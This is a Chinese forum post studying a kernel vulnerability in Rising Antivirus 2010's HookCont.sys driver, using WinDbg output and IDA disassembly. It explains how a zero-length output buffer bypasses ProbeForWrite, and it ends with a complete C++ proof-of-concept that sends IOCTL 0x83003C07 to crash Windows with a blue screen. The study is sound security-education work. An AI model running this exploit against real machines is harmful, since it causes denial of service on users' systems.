首页
社区
课程
招聘
[原创]初学Windows内核漏洞之瑞星HookCont.sys
2021-11-4 16:44 10823

[原创]初学Windows内核漏洞之瑞星HookCont.sys

2021-11-4 16:44
10823

一.前言

该漏洞存在于瑞星2010 HookCont.sys驱动中,版本低于或者等于23.0.0.5的HookCont.sys都存在该漏洞。

参考资料《0day安全:软件漏洞分析技术》
实验环境Win XP SP3
实验工具IDA Pro,WinDbg, VS2017

二.漏洞分析

1.WinDbg

驱动装载以后,首先在WinDbg中查看驱动装载情况。

kd> lm
start    end        module name
804d8000 806e6000   nt         (pdb symbols)          d:\xpsymbols\ntkrpamp.pdb\7075F995A48A414F8F7BE9A1E0240F821\ntkrpamp.pdb
806e6000 80706d00   hal        (deferred)             
b22a5000 b22a7a00   vmmemctl   (deferred)             
b22a9000 b22ab200   HookCont   (deferred)             
b24a1000 b24b8900   dump_atapi   (deferred)             
b24b9000 b24e9000   BAPIDRV    (deferred)

可以看到HookCont被装载到0xB22A9000到0xB22AB200内存区域中。接着再看看分发函数的情况

kd> !drvobj HookCont 2
Driver object (81b26b98) is for:
*** ERROR: Module load completed but symbols could not be loaded for HookCont.sys
 \Driver\HookCont
DriverEntry:   b22aa066	HookCont
DriverStartIo: 00000000	
DriverUnload:  00000000	
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      b22a9c3a	HookCont+0xc3a
[01] IRP_MJ_CREATE_NAMED_PIPE           b22a9f62	HookCont+0xf62
[02] IRP_MJ_CLOSE                       b22a9c3a	HookCont+0xc3a
[03] IRP_MJ_READ                        b22a9f62	HookCont+0xf62
[04] IRP_MJ_WRITE                       b22a9f62	HookCont+0xf62
[05] IRP_MJ_QUERY_INFORMATION           b22a9f62	HookCont+0xf62
[06] IRP_MJ_SET_INFORMATION             b22a9f62	HookCont+0xf62
[07] IRP_MJ_QUERY_EA                    b22a9f62	HookCont+0xf62
[08] IRP_MJ_SET_EA                      b22a9f62	HookCont+0xf62
[09] IRP_MJ_FLUSH_BUFFERS               b22a9f62	HookCont+0xf62
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    b22a9f62	HookCont+0xf62
[0b] IRP_MJ_SET_VOLUME_INFORMATION      b22a9f62	HookCont+0xf62
[0c] IRP_MJ_DIRECTORY_CONTROL           b22a9f62	HookCont+0xf62
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         b22a9f62	HookCont+0xf62
[0e] IRP_MJ_DEVICE_CONTROL              b22a9d2c	HookCont+0xd2c
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     b22a9fa4	HookCont+0xfa4
[10] IRP_MJ_SHUTDOWN                    b22a9f62	HookCont+0xf62
[11] IRP_MJ_LOCK_CONTROL                b22a9f62	HookCont+0xf62
[12] IRP_MJ_CLEANUP                     b22a9f62	HookCont+0xf62
[13] IRP_MJ_CREATE_MAILSLOT             b22a9f62	HookCont+0xf62
[14] IRP_MJ_QUERY_SECURITY              b22a9f62	HookCont+0xf62
[15] IRP_MJ_SET_SECURITY                b22a9f62	HookCont+0xf62
[16] IRP_MJ_POWER                       b22a9f1a	HookCont+0xf1a
[17] IRP_MJ_SYSTEM_CONTROL              b22a9f62	HookCont+0xf62
[18] IRP_MJ_DEVICE_CHANGE               b22a9f62	HookCont+0xf62
[19] IRP_MJ_QUERY_QUOTA                 b22a9f62	HookCont+0xf62
[1a] IRP_MJ_SET_QUOTA                   b22a9f62	HookCont+0xf62
[1b] IRP_MJ_PNP                         804f55ce	nt!IopInvalidDeviceRequest

可以看到DriverEntry的函数地址是0xB22AA066,根据上面得到的驱动装载地址,可以算出DriverEntry函数的偏移地址是0x1066。而驱动偏移0xD2C就是IRP_MJ_DEVICE_CONTROL的对应的函数地址。

2.IDA Pro

以下是DriverEntry中比较有用的两段代码,这两段代码完成对设备的创建,对分发函数的初始化以及符号链接的创建。

.text:000110A9                 mov     ebx, ds:RtlInitUnicodeString
.text:000110AF                 push    esi
.text:000110B0                 push    offset DEVICE_NAME ; SourceString
.text:000110B5                 lea     eax, [ebp+DestinationString]
.text:000110B8                 push    eax             ; DestinationString
.text:000110B9                 call    ebx ; RtlInitUnicodeString
.text:000110BB                 mov     esi, [ebp+DriverObject]
.text:000110BE                 lea     eax, [ebp+DeviceObject]
.text:000110C1                 push    eax             ; DeviceObject
.text:000110C2                 push    edi             ; Exclusive
.text:000110C3                 push    edi             ; DeviceCharacteristics
.text:000110C4                 push    8300h           ; DeviceType
.text:000110C9                 lea     eax, [ebp+DestinationString]
.text:000110CC                 push    eax             ; DeviceName
.text:000110CD                 push    edi             ; DeviceExtensionSize
.text:000110CE                 push    esi             ; DriverObject            
.text:000110CF                 call    ds:IoCreateDevice
            。。。。
.text:000110FD                 push    1Bh
.text:000110FF                 lea     edx, [esi+DRIVER_OBJECT.MajorFunction]
.text:00011102                 pop     ecx
.text:00011103                 mov     eax, offset DispatchCommon
.text:00011108                 mov     edi, edx
.text:0001110A                 rep stosd
.text:0001110C                 mov     eax, offset DispatchCreateAndClose
.text:00011111                 mov     [edx], eax
.text:00011113                 mov     [esi+40h], eax
.text:00011116                 push    offset LINK_NAME ; SourceString
.text:0001111B                 lea     eax, [ebp+SymbolicLinkName]
.text:0001111E                 push    eax             ; DestinationString
.text:0001111F                 mov     dword ptr [esi+70h], offset DispatchIoCtrl
.text:00011126                 mov     dword ptr [esi+90h], offset DispatchPower
.text:00011130                 mov     dword ptr [esi+74h], offset DispatchInternalDeivceControl
.text:00011137                 call    ebx ; RtlInitUnicodeString
.text:00011139                 lea     eax, [ebp+DestinationString]
.text:0001113C                 push    eax             ; DeviceName
.text:0001113D                 lea     eax, [ebp+SymbolicLinkName]
.text:00011140                 push    eax             ; SymbolicLinkName
.text:00011141                 call    ds:IoCreateSymbolicLink

而DEVICE_NAME和LINK_NAME的内容如下

.text:00010FDA DEVICE_NAME     dw '\'                  ; DATA XREF: DriverEntry+4A↓o
.text:00010FDC aDeviceHookcont:
.text:00010FDC                 text "UTF-16LE", 'Device\hookcont',0
.text:00010FFC                 db 2 dup(0)
.text:00010FFE ; const WCHAR LINK_NAME
.text:00010FFE LINK_NAME       dw '\'                  ; DATA XREF: DriverEntry+B0↓o
.text:00011000 aDosdevicesHook:
.text:00011000                 text "UTF-16LE", 'DosDevices\hookcont',0
.text:00011028                 db 2 dup(0)

那么,根据这个符号名,就可以完成对驱动的打开。

在DispatchComm函数中,程序首先会将输入缓冲区,输入缓冲区长度,输出缓冲区长度保存起来。接着会对输出缓冲区的地址的合法性进行判断,如果是非法的地址,则会跳转到函数执行结束的地方执行。如果对于偏移0x60数据不清楚的可以看下这篇:初学Windows内核漏洞之CVE-2011-2005

.text:00010D62                 mov     ebx, [ebp+Irp]
.text:00010D65                 mov     esi, [ebx+60h]  ; 取出CurrentStackLocation赋给esi
.text:00010D68                 mov     ecx, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
.text:00010D6B                 mov     [ebp+var_InputBuffer], ecx
.text:00010D6E                 mov     edi, [ebx+IRP.UserBuffer] ; 将输出缓冲区的地址赋给edi
.text:00010D71                 mov     eax, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:00010D74                 mov     [ebp+var_InputBufferLength], eax
.text:00010D77                 mov     edx, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength]
.text:00010D7A                 mov     [ebp+var_OutBufferLength], edx
.text:00010D7D                 mov     eax, ds:MmUserProbeAddress
.text:00010D82                 mov     eax, [eax]
.text:00010D84                 cmp     edi, eax        ; 输出缓冲区起始地址是否在合理范围
.text:00010D86                 ja      loc_10EF2       ; 如果大于这个范围,则跳转到函数运行失败的代码执行
.text:00010D8C                 add     edx, edi        ; edx是输出缓冲区长度,加上起始地址就是输出缓冲区的结束地址
.text:00010D8E                 cmp     edx, eax        ; 输出缓冲区结束地址是否在合理范围
.text:00010D90                 ja      loc_10EF2       ; 如果大于这个范围,则跳转到函数运行失败的代码执行
                。。。。
.text:00010EF2 loc_10EF2:                              ; CODE XREF: DispatchIoCtrl+5A↑j
.text:00010EF2                                         ; DispatchIoCtrl+64↑j ...
.text:00010EF2                 mov     dword ptr [ebp-1Ch], STATUS_INVALID_PARAMETER
.text:00010EF9 ; START OF FUNCTION CHUNK FOR DispatchIoCtrl
.text:00010EF9
.text:00010EF9 loc_10EF9:                              ; CODE XREF: DispatchIoCtrl+EC↑j
.text:00010EF9                                         ; DispatchIoCtrl+F8↑j ...
.text:00010EF9                 mov     eax, [ebp+var_OutBufferLength]
.text:00010EFC                 mov     [ebx+IRP.IoStatus.Information], eax
.text:00010EFF                 mov     esi, [ebp+var_Status]
.text:00010F02                 mov     [ebx+IRP.IoStatus.anonymous_0.Status], esi
.text:00010F05                 xor     dl, dl          ; PriorityBoost
.text:00010F07                 mov     ecx, ebx        ; Irp
.text:00010F09                 call    ds:IofCompleteRequest
.text:00010F0F                 mov     eax, esi
.text:00010F11
.text:00010F11 loc_10F11:                              ; CODE XREF: DispatchIoCtrl+31↑j
.text:00010F11                 call    __SEH_epilog
.text:00010F16                 retn    8

接着程序会调用ProbeForRead和ProbeForWrite对输入输出缓冲区进行读写检查。

.text:00010D96                 and     [ebp+ms_exc.registration.TryLevel], 0
.text:00010D9A                 push    1               ; Alignment
.text:00010D9C                 push    [ebp+var_InputBufferLength] ; Length
.text:00010D9F                 push    ecx             ; Address
.text:00010DA0                 call    ds:ProbeForRead
.text:00010DA6                 push    1               ; Alignment
.text:00010DA8                 push    [ebp+var_OutBufferLength] ; Length
.text:00010DAB                 push    edi             ; Address
.text:00010DAC                 call    ds:ProbeForWrite

由于,在调用ProbeForWrite的时候,如果它的第二个参数,也就是输出缓冲区的长度如果是0的话,那么这个函数的检查就会被绕过。所以这就产生了漏洞。只要输出缓冲区的长度是0,那么就算输出缓冲区是个非法的地址,程序依然就继续执行下去。

接下来程序就会取出发送的IOCTL,并根据IOCTL的值来决定要执行的代码

.text:00010DB2                 or      [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh
.text:00010DB6                 mov     esi, [esi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:00010DB9                 cmp     esi, 83003C07h
.text:00010DBF                 jz      loc_10E91
.text:00010DC5                 cmp     esi, 83003C0Bh
.text:00010DCB                 jz      loc_10E78
.text:00010DD1                 cmp     esi, 83003C0Fh
.text:00010DD7                 jz      short loc_10E4B
.text:00010DD9                 cmp     esi, 83003C13h
.text:00010DDF                 jz      short loc_10E3A
.text:00010DE1                 cmp     esi, 83003C17h
.text:00010DE7                 jz      short loc_10E29
.text:00010DE9                 cmp     esi, 83003C1Bh
.text:00010DEF                 jz      short loc_10E1D
.text:00010DF1                 cmp     esi, 83003C1Fh
.text:00010DF7                 jnz     loc_10EF2

对于第一个IOCTL,它的最后两位是11(0x3),那么对应的通信方式就是METHOD_NEITHER。该通信方式会直接对传入的输入输出地址进行操作,很可能有漏洞,跟进loc_10E91查看其中的内容。

.text:00010E91 loc_10E91:                              ; CODE XREF: DispatchIoCtrl+93↑j
.text:00010E91                 mov     ecx, Handle     ; Handle
.text:00010E97                 cmp     byte ptr [ecx+2AFCh], 0
.text:00010E9E                 jnz     short loc_10ED2
.text:00010EA0                 push    4
.text:00010EA2                 pop     esi             ; 将esi赋值为4
.text:00010EA3                 cmp     [ebp+var_InputBufferLength], esi ; 判断输入缓冲区长度是否小于4
.text:00010EA6                 jb      short loc_10ED2 ; 如果小于4则跳转失败代码进行执行
.text:00010EA8                 mov     eax, [ebp+var_InputBuffer] ; 获取输入缓冲区地址
.text:00010EAB                 push    dword ptr [eax] ; Handle
.text:00010EAD                 call    GetObjectInfo   ; 将输入缓冲区中的前4字节的内容入栈,在调用函数
.text:00010EB2                 test    eax, eax        ; 返回值是否为0
.text:00010EB4                 jnz     short loc_10EBF ; 不为0,则对输出缓冲区进行赋值
.text:00010EB6                 mov     [ebp+var_Status], STATUS_UNSUCCESSFUL
.text:00010EBD                 jmp     short loc_10EC4
.text:00010EBF ; ---------------------------------------------------------------------------
.text:00010EBF
.text:00010EBF loc_10EBF:                              ; CODE XREF: DispatchIoCtrl+188↑j
.text:00010EBF                 mov     [edi], eax      ; 将返回值赋值到输出缓冲区中
.text:00010EC1                 mov     [ebx+IRP.IoStatus.Information], esi

程序首先判断输入缓冲区长度是否大于等于4,如果满足条件,则把输入缓冲区前4字节的内容压入栈中并调用GetObjectInfo函数。函数的返回值如果是0,则会跳过对输出缓冲区的赋值,否则就会将返回值赋到输出缓冲区中。

而在GetObjectInfo中,函数会将传入的输入缓冲区的4字节参数作为句柄传给ObReferenceObjectByHandle来获得相应的对象,随后会从这个对象中取出相应的内容来给eax赋值。

.text:000105C3 loc_105C3:                              ; CODE XREF: GetObjectInfo+13↑j
.text:000105C3                 push    ebx             ; HandleInformation
.text:000105C4                 push    esi             ; Object
.text:000105C5                 push    ebx             ; AccessMode
.text:000105C6                 push    ebx             ; ObjectType
.text:000105C7                 push    10000000h       ; DesiredAccess
.text:000105CC                 push    [esp+28h+arg_Handle] ; Handle
.text:000105D0                 call    ds:ObReferenceObjectByHandle
.text:000105D6                 test    eax, eax
.text:000105D8                 jge     short loc_105E1
.text:000105DA                 xor     eax, eax
.text:000105DC                 jmp     loc_106A3
                。。。
.text:0001068B loc_1068B:                              ; CODE XREF: GetObjectInfo+C4↑j
.text:0001068B                 cmp     [esi+2B50h], ebx
.text:00010691                 jz      short loc_10652
.text:00010693                 mov     eax, [esi+2B4Ch]
.text:00010699                 mov     eax, [eax+18h]
.text:0001069C                 or      eax, [esi+2B50h]

三.漏洞利用

对上面的分析进行总结,可以得出如下的结论:

  1. IOCTL等于0x83003C07的时候,用户层和内核层会采用METHOD_NEITHER的方式进行通信,该方式会直接对传入的输入输出的地址进行操作。

  2. 程序虽然会调用ProbeForWrite对输出缓冲区进行检查,但是没对输出缓冲区长度进行检查,如果传入的参数是0,那么此函数的检查将失效

  3. 对输出缓冲区的赋值是将输入的前4字节作为句柄进行解析,将解析到的对象的内容赋给输出缓冲区

根据这三个结论就可以知道,要利用这个漏洞只需要输入缓冲区给一个合适的句柄对象,输出缓冲区的地址给一个非法的地址且输出缓冲区的长度设置为0。那么,此时对输出缓冲区的赋值就会导致蓝屏错误,这就造成了拒绝服务攻击,具体代码如下。

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\hookcont"	// 打开的符号名
#define IOCTL 0x83003C07				// 要发送的IOCTL
#define INPUT_BUFFER_LENGTH 4			// 输入缓冲区长度
#define OUT_BUFFER_LENGTH 0				// 输出缓冲区长度

void ShowError(PCHAR msg);			    // 打印错误信息

int main()
{
	HANDLE hDevice = NULL;
	DWORD dwRetSize = 0;
	DWORD dwInputBuffer = 0, dwOutBufferAddr = 0;

	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE, 
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 NULL);
	if (hDevice == NULL)
	{
		ShowError("CreateFile");
		goto exit;
	}

	dwInputBuffer = (DWORD)hDevice;	// 输入缓冲区保存要解析的句柄
	dwOutBufferAddr = 0;	// 输出缓冲区地址是非法的
	if (!DeviceIoControl(hDevice,
						 IOCTL,
						 &dwInputBuffer,
						 INPUT_BUFFER_LENGTH,
						 (PVOID)dwOutBufferAddr,
						 OUT_BUFFER_LENGTH,
						 &dwRetSize,
						 NULL))
	{
		ShowError("DeviceIoControl");
		goto exit;
	}

	
exit:
	if (hDevice) CloseHandle(hDevice);
	system("pause");
	return 0;
}


void ShowError(PCHAR msg)
{
	printf("%s Error 0x%X\n", msg, GetLastError());
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-11-30 10:04 被1900编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回